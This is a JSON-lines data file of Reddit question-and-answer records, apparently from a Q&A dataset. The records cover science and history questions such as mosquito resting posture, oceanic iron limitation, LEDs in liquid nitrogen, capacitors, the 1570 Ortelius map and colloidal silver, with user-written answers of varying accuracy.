{"q_id": "13o8d4", "title": "Why do mosquitoes lift their hind-legs when resting?", "selftext": "Lately I had the dubious pleasure of watching mosquitoes in the office, and noticed that, once they land on a surface (flesh or inanimate objects, horizontal or vertical), they invariably lift and curl their hind-legs, like in this [picture](_URL_0_).  \n\n* Is this real for all species of mosquitoes?  \n* Are there adaptive benefits?  \n* Does any other insect do the same thing?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13o8d4/why_do_mosquitoes_lift_their_hindlegs_when_resting/", "answers": {"a_id": ["c760n1d"], "score": [8], "text": ["An old [handbook on mosquitoes](_URL_0_) says mosquitoes use the raised legs like feelers for detecting air motions, when they are resting or when danger threatens. [Nonbiting midges](_URL_3_), another kind of insect that superficially resembles mosquitoes, use their front legs instead of the hind legs for the same purpose. \n\nYoutube videos show that not all mosquitoes raise their hind legs, and those that do may lift only one of the legs. \n[1](_URL_4_) [2](_URL_2_) [3](_URL_1_)\n\n"]}, "title_urls": [], "selftext_urls": ["http://static.environmentalgraffiti.com/sites/default/files/images/http-inlinethumb64.webshots.com-43519-2827612930104237032S600x600Q85.jpg"], "answers_urls": [["http://www.mosquitocatalog.org/files/pdfs/075110-0.pdf", "https://www.youtube.com/watch?v=jlf1_N5cUhQ", "https://www.youtube.com/watch?v=Sg-b3VQ5098", "http://en.wikipedia.org/wiki/Chironomidae", "https://www.youtube.com/watch?v=hvsJX7AztTY"]]}
{"q_id": "dmzcgb", "title": "Why are equatorial seas lacking in iron?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dmzcgb/why_are_equatorial_seas_lacking_in_iron/", "answers": {"a_id": ["f59cui2"], "score": [7], "text": ["Marine organisms require a range of different nutrients to survive, but the concentration of these nutrients vary throughout the ocean because of their different sources and sinks. Although nutrient requirements do vary by species, on a large scale and specifically addressing primary productivity (i.e. organisms that can fix their own energy), you can come up with the concept of nutrient limitation, which refers to the nutrient/s that are limiting productivity. Let's say organisms require a ratio of carbon, nitrogen, phosphorus and iron of 106:16:1:0.0075 (known as the Redfield ratio, although as a disclaimer there is extensive debate about how sensible this ratio is). If there is less iron relative to the other nutrients than expressed in this ratio, regardless of how much of the other nutrients there is, iron is going to run out first and growth will be limited. In this case, iron would be the limiting nutrient, and we would end up with essentially negligible iron in the surface ocean because any iron that becomes available will be immediately used in primary production. \n\nSo why might iron be the limiting nutrient versus something else like nitrogen or phosphate? There are two main reasons - low iron supply, or high nitrogen/phosphate supply. Iron is supplied to the oceans primarily through windblown dust from the continents, so the iron flux to regions of the ocean far from dust-generating landmasses (e.g. the Southern Ocean) is lower. Alternatively or in addition, certain regions of the ocean, known as upwelling regions, bring up lots of deep water with a very high nutrient concentration, so the other nutrients are in high supply, allowing iron to run out first.\n\nNow let's look at a map showing patterns of nutrient limitation around the global oceans -[ Figure 3 in Moore _et al.,_ 2013, *Processes and patterns of oceanic nutrient limitation*](_URL_1_) (also a very good introduction to oceanic nutrient limitation in general). What you will see is that the region most dramatically depleted in iron is actually the Southern Ocean around Antarctica, because of both of the reasons I discussed above - the Southern Ocean is far from dust-generating continents, and is a region of intense upwelling, culminating in a low iron-supply and high nitrogen/phosphorus supply. It is however true that some equatorial regions (in particular the eastern equatorial Pacific) are iron-limited, and this is largely due to upwelling. This is because of a physical phenomenon known as [Ekman transport](_URL_0_), which actually manifests itself in two ways in the eastern equatorial Pacific. When winds flow parallel to the coast, water is dragged away from the coast, bringing up deeper waters. In addition, because the Coriolis force acts in an opposite direction when you cross the equator, winds can also cause equatorial upwelling around the equator. The result is a relatively high flux of nitrogen and phosphorus to the eastern equatorial Pacific, so iron is exhausted first and is only found in trace concentrations.\n\nI'll end with a quick note on why iron is generally found in such low concentrations compared to nitrogen and phosphorus (despite the fact that it is only limiting in certain regions). This is (largely) because whereas nitrogen and phosphorus can form chemical species that are soluble in water (e.g. nitrate, phosphate), in an oxygenated ocean, iron isn't. In an oxygenated ocean, iron is rapidly oxidised to the Fe^(3+) state which then precipitates out as iron hydroxide. This is essentially the reason why upwelled deep waters bring up lots of nitrogen and phosphorus, but not iron. Nitrogen and phosphorus can exist dissolved in the water for long periods of time (deep waters are generally very old), but iron can't."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Ekman_transport", "https://www.nature.com/articles/ngeo1765.pdf"]]}
{"q_id": "2qxazo", "title": "Why does LED glow brighter in Liquid Nitrogen but only for a moment?", "selftext": "Seeking input from some LED experts... We were fooling around with some liquid nitrogen at work and noticed when we submerged a red LED, the brightness increased dramatically but only until a certain point. Once the bulb cooled to (seemingly) the same temp as the LN2 (-320F), its brightness dropped off.\n\nI'm including a video for your reference. You can see that once the bulb is pulled from the LN2, it's brightness begins to increase once again. There's plenty of experiments detailing how the color changes, but none seem to mention brightness.\n\nWe know that there is far less resistance when items are cooled so brightness would increase. Can anyone explain why the brightness decreases once the bulb is sufficiently cooled?\n\nVIDEO: _URL_0_\n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2qxazo/why_does_led_glow_brighter_in_liquid_nitrogen_but/", "answers": {"a_id": ["cnba7gy", "cnc0pg0"], "score": [6, 2], "text": ["First you made a faulty assumption.  That all objects have less resistance as the temperature decreases.  Semiconductors don't do this. They have less resistance at higher temperatures.  This is because at higher temperatures more charge carriers go from the valence band to the conduction band because they have more energy.  It's an exponential relationship.  The current is proportional to\n\ne^(eV/kT) - 1\n\n_URL_1_\n\n_URL_2_\n\n_URL_0_\n\nOK, so what are we seeing?  Notice the color of the LED changes form red to yellow.  As the LED cools, the crystal shrinks and that changes the band gap which changes the color.  Human eyes are more sensitive to yellow so this is probably part of the reason it appears brighter even though its intensity might decrease.  Eventually it gets so cold that the current drops enough that it appears dimmer.\n\n_URL_3_", "As /u/FoolishChemist notes, resistance of materials does not always decrease with lower temperatures.  [Depending on the material, and the range of temperatures of interest](_URL_0_), it can increase, decrease, or stay the same.  Various thermistors are engineered to have different thermal coefficients for various applications, and high-precision, temperature-stable electronics are often designed to have a very low thermal coefficient.\n\nThat all aside, in general, most intrinsic semiconductors will have increasing resistance as temperature decreases.  Which doesn't matter, nor does it fully answer your question.\n\nAn LED is a diode (a light-emitting one, as it were).  This means it obeys the [diode law](_URL_1_).  The Vth term drops with decreasing temperature, allowing Vd / Vth to get big, and bigger still when you take the exponential e\\^(Vd / Vth).  So, if it follows that equation, why doesn't it just get brighter and brighter the lower the temperature?\n\nIt's an idealized equation that assumes sufficient charge carriers to move charge across the junction.  Implicit in the previous paragraph is the idea that the higher the current, the higher the light output.  When electrons go one direction, and (positive) holes travel the opposite direction, they'll annihilate and, in the case of an LED, release some light.  [The charge carrier density is *also* a function of temperature](_URL_2_)--generally for most semiconductors, the lower the temperature, the lower the number of charge carriers available, and the lower the rate of recombination / annihilation, and the lower the light output.\n\nSo, for moderately-low temperatures, the first effect dominates for a while and increases the light output.  But past a certain point (which you've run into with your red LEDs and liquid nitrogen), the second effect dominates, causing a lowering of light output."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=O8FT9EVxJVI&amp;list=UUXFtgGG86NQXQa39B5cYfrw"], "answers_urls": [["http://www.isb.ac.th/HS/JoP/vol4iss1/Papers/1LEDTemp.pdf", "http://pveducation.org/pvcdrom/pn-junction/diode-equation", "http://www.cliftonlaboratories.com/1n400x_diode_family_forward_voltage.htm#Forward_Drop_versus_Temperature_and_Current", "http://www.ecse.rpiscrews.us/~schubert/Reprints/2005%20Chhajed%20et%20al%20%28SPIE%20Photonics%20West%29%20Junction%20temperature%20in%20LEDs.pdf"], ["http://en.wikipedia.org/wiki/Electrical_resistivity_and_conductivity#Temperature_dependence", "http://en.wikipedia.org/wiki/P%E2%80%93n_diode#Diode_law", "http://en.wikipedia.org/wiki/P%E2%80%93n_diode#Forward_bias"]]}
{"q_id": "cd8ksd", "title": "How does an IP ban or IP block work with a VPN and why?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cd8ksd/how_does_an_ip_ban_or_ip_block_work_with_a_vpn/", "answers": {"a_id": ["etsonsp"], "score": [2], "text": ["Excellent question with a few answers. For one, it depends on the type of VPN you are using. If you are using a VPN to connect to a work network, your client machines authenticates to the domain by first making a request to connect to the static IP of your business, then by using a unique shared key (this is something like hundreds of characters long) that only your company's gateway and your client machine know. Then, your machine designates the domain and then authenticates to the server with credentials, or your company's gateway or a client software running on some machine set to work with the gateway, with credentials. In a case like this, they would delete your authenication account or remove you from an allowed list of remote connections. If they were concerned another employee would share the file that contains a valid shared key and another's credentials, they would ban your machine by MAC address on the gateway or server. \n\n\nIf you are using a VPN and a proxy, then an ip ban would not work unless the proxy itself is banned. There are libraries of known proxies so you could be banned if they ban you account and reference libraries of proxies. So if there is a library of known tor exit nodes, and something bans that library, you could very well be 'blocked by IP address\".\n\nIf you VPN into your work network in order to play a game as if your IP address is your work's address, and they ban your work's IP and your work has a static public IP, then it's over, you are blocked...unless your work has a range of IPs and you could somehow use a different public IP for that location, but most traffic in a place that has multiple static IPs.\n\nThe short answer for banning via IP address is that a \"game server\" will ban connections from the public IP address associated with your connection, whether it is a proxy's public IP, your work, your friend's house, a tor exit node, or a library of ip addresses associated with masking connections.\n\n\nUltimately, blocking an IP isn't the most efficient way to block someone. Blocking devices/accounts is generally the least complicated and best way.\n\nAlso, if you have a dynamic public IP a ban could work until you get a non-preferred lease on a public IP address."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1fnqm9", "title": "Alpha particles can be stopped by a sheet of paper. What happens after they hit the sheet? Do they bounce off? Do they go away?", "selftext": "What about other particles that are ejected during decay? What ultimately happens to those? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fnqm9/alpha_particles_can_be_stopped_by_a_sheet_of/", "answers": {"a_id": ["cac0r73", "cac1i2p", "cac5e7l", "cac5jao"], "score": [33, 54, 14, 3], "text": ["The decay products of the decay will all carry energy, which they will deposit by collisions with other atoms. The energy deposited can ionize the atoms in the paper. Ultimately, the products slow down to the point that they reach equilibrium with their environment. The heavy stuff will just embed itself in the matrix it transferred its energy to. This is part of what activates materials in nuclear experiments: contamination with radioactive daughter fragments. \n\nThe alphas will grab two electrons to become neutral (and their electron binding energies are likely deeper than the valence shell of larger atoms). Ultimately charge is conserved, and grounds can donate or soak excess electrons. The alphas are small, and once they've deionized, they'll eventually leech out of the material, at which point it eventually floats off into space, as the force of gravity isn't strong enough to keep it in the atmosphere. ", "Basically, the alpha particle bumps into the atoms of the sheet of paper until it loses all of its kinetic energy.  Alpha particles carry a +2 charge, so they interact via the electromagnetic force with other atoms.  It is similar, in principle, to a bullet.  When a bullet hits a material, it imparts kinetic energy to the material until it runs out of energy.  Similarly, an alpha particle imparts kinetic energy to the electrons and nuclei that make up the atoms of the sheet of paper.\n\nThese can be \"soft\" collisions - where the alpha particle slightly disturbs the electrons of a far-away atom.  Soft collisions transfer a few eV, and can ionize atoms (knock electrons away from their atom).  About half of an alpha particle's energy is dissipated this way (so there are roughly  10^5 of these collisions).\n\nIf an alpha particle passes very close to an atom, it can have a \"knock-on\" collision.  This is where it transfers a large amount of energy to a single electron.  That electron then shoots off (a so-called \"delta ray\") and ionizes other atoms in a manner similar to the original alpha particle.\n\nOnce the alpha particle loses its kinetic energy, it will grab two nearby electrons and form a helium atom.", "Alpha particles will grab some electrons and become ordinary helium.\n\nBeta radiation is electrons, they will hop onto some atom.\n\nGamma radiation is basically light, so it just turns into heat.\n\nNeutron radiation will decay to a proton and electron, i.e. hydrogen. It might also be absorbed by the nucleus of an atom. What happens then depends on which atom absorbed it.\n\nCosmic rays (proton radiation) will find an electron and become hydrogen.\n\nOther types of radiation are atom fragments, (i.e. a large atom split into smaller pieces). The smaller pieces will find electrons and become atoms of their own. (But probably radioactive ones which will decay according to what type of atom they are.)\n\nI think that's every kind there is except for the more unusual types like muon radiation, or other unstable particles.", "The way my inorganic professor explained it they are basically a helium nucleus with no electrons, so it acts like a super strong oxidizing reagent. The reason they will be blocked by even a piece of paper is they react with pretty much the first thing they come in contact with.\n\nThis is also why it is extremely dangerous if the emitter of the alpha particles is swallowed/inhaled/otherwise absorbed into your body."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7z5zuq", "title": "If capacitance increases as distance between plates decreases, why aren't there very small 1F capacitors?", "selftext": "Is there a point where we cannot bring the plates any closer (engineering problem)?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7z5zuq/if_capacitance_increases_as_distance_between/", "answers": {"a_id": ["dulpvhe", "dulq4bg", "dulq7ff", "dulrfbp", "dulscpt", "dult44x", "dulv161", "dulwj6n", "dumxqzz", "dumzmor"], "score": [11, 33, 649, 2, 2, 129, 2, 13, 2, 3], "text": ["Capacitance is indeed inversely proportional to the distance between plates, but it is also proportional to the overlap area of the plates. You can theoretically increase capacitance by bringing the plates closer together, but if you're shrinking the plates at the same time, you may not gain much.\n\n", "As the plates get closer together, the electric field gets stronger, so it gets harder to prevent charges from jumping across the gap and shorting out the capacitor, and harder to hold the plates a precise distance apart.\n\nHowever, these problems can be overcome, and there *are* very small 1 farad capacitors.  The're about the size of a peppermint, and cost [a few bucks.](_URL_0_)  If you're used to dealing with nano- and microfarads, they're pretty miraculous!\n\nThey work by replacing one of the plates with a liquid containing salt ions.  The ions are attracted to the charged plate, but the liquid molecules keep the ions from actually touching it, so the gap between the two \"plates\" is just a couple molecules thick.\n\nBut for the reasons mentioned earlier, these supercapacitors have very low voltage limits (usually around 5 volts max).  They also respond slowly to voltage changes, because the ions have to move around in the liquid.\n\n_URL_1_", "When the plates are really close, the electric field between them will get really high ( E = V/d, where V is the voltage difference between the plates and d the separation distance). If this electric field is very high, the air between the plate will become a conductor (dielectric breakdown) and thus the capacitor will be discharged. Generally, we put a plastic material between the plates to increase the breakdown limit (dielectric screening), but if the distance between the plate is really small, it will be impossible to negate the breakdown effect (because nothing will fit to screen the electric field).", "Integrated circuit chips make use of capacitors on the order of nanometer size, however their capacitance is nowhere near the level of Farads. More on the order of femto-farads (10^-15 F)\n\nIt's also noteworthy that they typically make use of a high-K dielectric materials such as Hafnium nitrido-silicate.\n\nSuch capacitors have extremely high leakage current due to the small gap. So they're only typically useful for high frequency switching applications like IC's.  The self-discharge time is very small.\n\n", "If you can find a thin material that insulates extremely well to wedge between the plates, thats exactly what you will have. The complication arises with maintaining a gap current can't pass through but an electric field can.", "It's also worth pointing out that no matter how amazing a dielectric you use, once it gets thinner than a couple nanometers electrons will just blow through it through quantum tunnelling.\n\nEDIT: It seems there's a bit of a discussion brewing about the relevance of this to modern computer chips and specifically the MOSFET (Metal-Oxide-Semiconductor Field-Effect Transistor) that is the work-horse of modern computers and microchips.\n\nMaybe I'll just make some comments up here on this.  A MOSFET is so-called because you have a metal \"gate\" (the M) which is separated from a semiconductor channel (the S) by a thin layer of insulating material.  Specifically, the insulating material is generally silicon dioxide (thus, the O), because it is basically \"silicon rust\" and thus it's easy to grow such a layer on top of silicon, just heat its surface in the presence of oxygen. \n\nA MOSFET transistor is basically a \"valve\" where if there are electron sitting at the gate then charge can freely move through the channel (the valve is on), if there are not, then the channel is basically an insulator.  Thus you have a switch (0 or 1).  This all works by the capacitive effect of the electric field felt in the channel DUE to the electrons on the gate.  If there is an electric field in the channel the material in the channel is conductive and electrons can pass, no E-field and it's an insulator.\n\nAs we try and fit more MOSFET transistors per silicon chip, each MOSFET must get smaller and generally the oxide layer must get thinner.  However, the key to operation is that electrons on the gate need to stay on the gate and only influence the channel through their electric field.  However, with thinning carriers can start to tunnel from the gate to the channel (in addition to other mechanisms, like hot-carrier injection).\n\nThis is not some heady-new issue at the fringe of technology, this has been a fact-of-life for device designers since at least the 90s.  So this inability to thin a capacitor beyond a certain point because of quantum tunnelling is a big reliability issue in how computers work.\n\nThough it's also worth point out that sometimes tunnelling through the oxide is the whole point.  Flash memory and SSD memory, something that is a ubiquitous technology today, WORKS through quantum tunnelling through an oxide.  Specifically, the basic element of such memory is, what is called, a Floating-Gate MOSFET (FG-MOSFET).  Which works very similarly to a regular MOSFET except between the gate and the channel, in the middle of the oxide, there's an \"island\" or \"floating gate\" that is totally insulated from everything else.  A 1 or a 0 in such memories depends on whether there is charge on this floating gate.  Thus, even if the device is shut off, those electrons on the floating-gate stay there (ideally) and make the switch \"always on\" by their electric field if the island is populated.  You can then read a 0 or 1 by seeing if the \"valve\" is open or closed.\n\nBut how do you GET the electrons on this insulated island?  Quantum tunnelling usually (some older devices use a mixture of quantum tunneling and hot-carrier injection).", "Could you define 'very small'? And what are some other limiting factors? There's certainly tantalum caps in SMD form small enough to not want to sneeze at, but they're not 0402 (or smaller) and may be inappropriate for a particular application ", "Another view: The energy stored in a capacitor is **\u00bdCU\u00b2**.   \nThe volume is the plate area **A** times the distance **d**.   \nIf you half the distance, you double the capacitance. However the voltage limit as well as the volume is now also \u00bd(approx). As you now can not charge the capacitor as much you get double the capacitance times \u00bd the voltage squared, so the total energy is half that of the original capacitor. As the volume decreased as well, the overall energy per volume stays constant.\n\nConclusion: in order to store more energy in a capacitor, you need to change the dielectric, not the plate distance.", "The shorter the distance, the lower the breakdown voltage - it's generally (at least theoretically) proportional to the distance.\nUsing different materials can increase the dielectric breakdown voltage, but in any case that breakdown voltage is typically measured in volts per some unit measurement.  E.g. air is typically around 10,000 volts per inch (at least to a rough approximation - of course changing temperature, pressure, or humidity of air will alter that, as will altering composition - e.g. ratio of gasses, type and density of contaminants (e.g. dust), etc.).", "The engineering challenge is decreasing the distance as much as possible, while preventing discharge. If you put too much voltage on the \"plates\" at too close of a distance, then just like when a spark is generated, electric breakdown occurs. \nWhat to have smaller voltage? Fine, you can pack the plates super close and have tiny capacitors. Need a higher voltage rating? Darn, need to separate the plates to have higher voltage standoff.\nBeyond that, it's really a question of application. If you need capacitors with high energy capacity, higher voltage is your best bet. Need one with better high frequency response, then need to use certain materials.\n\nThere is no magic capacitor that can do everything. For each application you exploit one or two critical traits but there are trade offs for that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.mouser.com/Passive-Components/Capacitors/Supercapacitors-Ultracapacitors/_/N-5x76s?P=1yztzayZ1z0wug0", "https://en.wikipedia.org/wiki/Supercapacitor"], [], [], [], [], [], [], [], []]}
{"q_id": "1u5npm", "title": "How did Australia end up on this map from 1570?", "selftext": "Just found [this](_URL_0_) picture of a map with what looks to be Australia on it, despite the fact it wasn't sighted until decades later. Was it just a guess like the Terra Incognita southern continent?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1u5npm/how_did_australia_end_up_on_this_map_from_1570/", "answers": {"a_id": ["ceergzr", "ceertqd", "ceeryqt", "ceerztq", "ceevlx5", "ceeytrw"], "score": [108, 377, 19, 38, 8, 16], "text": ["In case anyone's interested, I found a similar but [higher-res version](_URL_0_) of the map. The coloring is a bit different but otherwise everything else is the same. It helped me figure out that the blob on the left edge was \"Noua Guinea\".", "There were theories that there has to be a large continent south from Africa to balance the weight of all the land mass on northern hemisphere.\n\nIt was usually named [Terra Australis](_URL_0_), after which Australia got its name.", "The World Digital Library has a high-resolution scan of the entire Theater of the World if you want to see it in context. If you can read French, I believe there are sources cited (I'm on an iPhone  &  it's a little tedious flipping between tabs).\n\n_URL_1_\n\n(Disclaimer: I work on that site but as a software developer, not a content specialist)\n\nAs to the data source, _URL_0_ makes it sound like the overall work was a compilation of other sources and, in the case of Australia, mostly speculation. ", "[Here](_URL_1_) I found a 1598 French commentary of the map which describes the southern continent depicted around the south pole as Magellana\n\n > Then we have the fifth part, located down under at the South Pole which we call Magellana, about which we cannot say very much, since we have only been informed about two or three places there, such as the Magellan straights, called Terra del Fuego [land of fire] and concerning New Guinea (which is supposed to be a part of it as well) etc. \n\nThe text on the land mass to the south of New Guinea reads \"this southern continent, some call Magellana after its discoverer\" and large print \"terra australis nondum cognita\" simply means \"land of the south not yet known.\" Going off of the labels and the French commentary in 1598, it seems like the landmass is a guess at what lands might exist in the southern hemisphere, based on what explorers had already discovered in the Tierra del Fuego and New Guinea. In short, I don't believe this was intended to be Australia, but rather a suggestion by both mapmakers and commentators of what lay further to the south\n\n[Here's](_URL_0_) a handy guide to the map that helps with all the Latin labeling and provides bibliographic information on the map itself. Enjoy ", "As a followup question, how did they draw such maps in 1570?", "The idea of a southern land goes back to Aristotle, [who wrote 2,200 years ago]( _URL_1_):\n\n\n >  There are two inhabitable sections of the earth: one near our upper, or nothern pole, the other near the other or southern pole; and their shape is like that of a tambourine. If you draw lines from the centre of the earth they cut out a drum-shaped figure. The lines form two cones; the base of the one is the tropic, of the other the ever visible circle, their vertex is at the centre of the earth.\n\nHe's trying to describe two inhabitable rings around the globe: one ring around the northern hemisphere and one around the southern hemisphere. These exclude the polar regions and the tropic zones, like [the green zones on this diagram](_URL_2_).\n\nHe goes on to write:\n\n >  Now since there must be a region bearing the same relation to the southern pole as the place we live in bears to our pole, it will clearly correspond in the ordering of its winds as well as in other things. [... and then goes on to write about the wind patterns of the southern land compared to the northern land he and everyone else lived in]\n\nA couple of hundred years later, Ptolemy included a great southern land in [his world map]( _URL_0_). The white parts are land, the blue is ocean: note the large continuous white space at the bottom of the map.\n\nThe map you\u2019ve found, which was produced by Abraham Ortelius in 1570 using the newly devised Mercator projection, includes a few more up-to-date details like Africa, the Americas, and the islands south of Asia, including Java \u2013 and also includes Ptolemy\u2019s and Aristotle\u2019s southern land. Ptolemy and Aristotle were still seen as authorities, and map-makers often simply copied earlier maps in this way, even if they were based on guesses and legends.\n\nSo, yes, this southern land *is* what was often known in Latin as \u201cTerra Australis Incognita\u201d \u2013 literally, \u201cland southern unknown\u201d. \n\nHere is a textual description taken from Cornelius Wyffliet\u2019s \u2018Descriptionis Ptolemaicae Augmentum\u2019 of 1598 (the same general period as that map by Ortelius):\n\n >  The Australis Terra is the most southern of all lands; it is separated from New Guinea by a narrow strait; its shores are hitherto but little known, since, after one voyage and another, that route has been deserted, and seldom is the country visited unless when sailors are driven there by storms. The Australis Terra begins at two or three degrees from the equator, and is maintained by some to be of so great an extent that if it were to be thoroughly explored it would be regarded as a fifth part of the world.\u201d\n\nIt was only a decade later that the Dutch started discovering Australia\u2019s west coast.\n\n\n"]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/6/6f/OrteliusWorldMap.jpeg"], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/e/e2/OrteliusWorldMap1570.jpg"], ["http://en.wikipedia.org/wiki/Terra_Australis"], ["http://www.samemory.sa.gov.au/site/page.cfm?u=963&amp;c=7894", "http://www.wdl.org/en/item/8978/view/1/14/#view=seadragon"], ["http://www.orteliusmaps.com/book/ort3.html", "http://www.orteliusmaps.com/book/ort_text3.html"], [], ["http://140735925.r.worldcdn.net/wp/wp-content/uploads/2009/06/800px-ptolemyworldmap.jpg", "http://classics.mit.edu/Aristotle/meteorology.2.ii.html", "http://www.mcwdn.org/MAPS&amp;GLOBES/LatitudeLines.gif"]]}
{"q_id": "ch22ke", "title": "how are people supposed to cite scientific papers if most of them are behind massive paywalls?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ch22ke/eli5_how_are_people_supposed_to_cite_scientific/", "answers": {"a_id": ["eunxcjx", "eunxi3p", "eunxl2i", "eunxs93", "eunxscw", "euny7d7", "euo9u9g", "euoj2bn", "euon6tl", "eupjbte", "euplc2e"], "score": [8, 6, 7, 4, 6, 2, 2, 2, 2, 2, 2], "text": ["The people who *need* to cite scientific papers usually have access through their workplace or similar.\n\nIf you're talking about regular internet users, many scientific papers are at least partly available without paywall, and there's certainly ways to obtain them less than legally without paying as well.", "When I was working on my graduate degree my university library and the individual departments had subscriptions to most of the well known journals. Maybe not physical subscriptions but I could access almost anything electronically.", "Contact the author directly and ask if they will send you the paper for free. Its not like they are making any of the money from said paywalls.", "1.) people who are citing these papers for research often times have some form of access to many scientific articles through their IRB.\n\n2.) The paywalls are usually created by the publisher and the person who wrote the article will see little to no money from viewing rights.  If you want to read an article, contact the author and more often than not they will happily tell you about their research or email you their article.", "Lots of libraries offer access to journal portals like Proquest or JSTOR.   Anyone who actually NEEDS to cite an academic journal is undoubtedly working or studying in an institution that provides the access.  Some universities give alumni lifelong access to their online portals.", "Look up Aaron Scwartz he tried to release a lot of this stuff and unfortunately cost him his life. Amazing man and story", "Google Scholar         \nInstitutional libraries *(go in person to a local college or hospital)*         \nInstitutional membership to journals online      \nInstitutional membership to search engines        \nPublic library *(which often has an institutional membership to journals  &  search engines)*", "My dad worked for the Department of Energy in the late 90s, in Oak Ridge.  He was contracted to create a searchable database of scientific papers for [_URL_0_](https://_URL_0_) but the project was shut down after they decided to just let the colleges wall off their research behind paywalls.  That was a terrible loss for the scientific community and any college that does this should be marked as unwilling to contribute towards the furthering of scientific knowledge.", "They pay for access... that\u2019s how those journals, etc. make money. Often they have access through a university, company or other organization so they\u2019re not paying individually.", "Typically if you\u2019re working on a paper, project, article, etc., that would require you to cite something behind a paywall. you\u2019re a student or faculty member of an institution that\u2019s paying for access to databases like JSTOR that has the data.", "This is better in r/answers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["science.gov", "https://science.gov"], [], [], []]}
{"q_id": "1jkmnd", "title": "The movie Caligula and the \"Killing Machine\"", "selftext": "Hello,\n\nin the movie Caligula, Macro is sentenced to death and is killed by being buried in a yard with a movng wall that has rotating blades designed to cut off heads as it approaches the buried victim. Here is a youtube link to the scene:\n\n_URL_0_\n\nMy question is, was this scene based on an actual death wall/ killing machine and if so are there solid references to its use and operation.\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jkmnd/the_movie_caligula_and_the_killing_machine/", "answers": {"a_id": ["cbfmq2p", "cbfo44e"], "score": [10, 2], "text": [".... No, there aren't.\n\nSadly.\n\n[You may find Mary Beard's recent discourse and documentary concerning the real Little Boot interesting](_URL_0_).", "I'm not aware of anything that could remotely be attributed to this.  I'm inclined to chalk this up to fantasy with the madness of Caligula.  It makes for far better story-telling than the truth. (in this case)"]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=SIxm3Z7s5ZI"], "answers_urls": [["http://www.bbc.co.uk/news/magazine-23455774"], []]}
{"q_id": "5rfob3", "title": "Did JFK have any plans for dealing with a military coup? I know the possibility was probably extremely remote in his mind, but didn't certain generals like Curtis LeMay border on outright insubordination? Or is that an exaggeration?", "selftext": "Also, did the ~~Society's~~ Soviets have any hint of the mutual antagonism between the President and Joint Chiefs? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5rfob3/did_jfk_have_any_plans_for_dealing_with_a/", "answers": {"a_id": ["dd7cwd7"], "score": [9], "text": ["To piggy back a question on the question about the Soviet Union's intelligence about relationships between the President and the various Joint Chiefs, did the Soviet Union have a term similar to Kremlinology? Or did the relative openness/transparency of our institutions make that unnecessary? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "15a535", "title": "what chemical reaction is occurring during manufacturing of colloidal silver, and can this be done with other elements?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15a535/eli5_what_chemical_reaction_is_occurring_during/", "answers": {"a_id": ["c7klsgt", "c7km9lq", "c7kn5wf"], "score": [5, 3, 2], "text": ["Yeah, OP, I'm going to have to ask *you* to ELIF what \"colloidal silver\" is.", "Creating a colloid is not really a chemical reaction. Instead, you can think of it as being more similar to (but not identical to) a \"phase change\" like what happens when you melt ice, or boil water.\nColloids are a way that two or more things mix. A common example can be seen if you make your own salad dressing. If you try to mix oil and vinegar, you will have trouble, but if you add mustard you can get an \"emulsion\" which is a type of \"colloid\". Other common examples of colloids include Milk and Fog. For more information you can see _URL_0_\nSo the answer to your question is that colloidal silver is one example of the thing called a \"colloid.\" It is not manufactured using a chemical reaction, but can be made for other mixtures, elements and otherwise. Sorry if this isn't quite ELI5, but I did my best for this question.", "Okay I actually used to make silver colloid (not the \"medicine\" shit) for particle research.\n\nThe reaction taking place is called a reduction reaction. A silver compound (most likely silver nitrate) is dissolved in water. Then lye (Sodium Hydroxide) is added to turn it into silver oxide. This makes a nasty vomit brown liquid. Then ammonia is added which turns the solution clear again. Once this happens reduction can easily happen. \nNow we add what is called a \"reducing agent.\" This simply means we add some chemical that takes the silver ion (Ag+) and turns it into silver metal. The chemicals that can be added are quite varied, you can even add glucose to do it.\n\nThe silver ion becomes silver metal and clumps into tiny little balls which  make up the silver colloid.\n\nThe process which I described above is put in better detail here: _URL_0_ (mirrors are also made this way). The conditions under which you do this reaction can create a mirror or the colloid, and those are determined by trial and error.\n\nEdit: Lots of different colloids can be made this way. It's easier to make colloids out of less reactive metals, like gold or platinum. I tried making nickel colloid once, and it tends to break down really quickly due to magnetism and reactivity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Colloid"], ["http://en.wikipedia.org/wiki/Tollens'_reagent"]]}
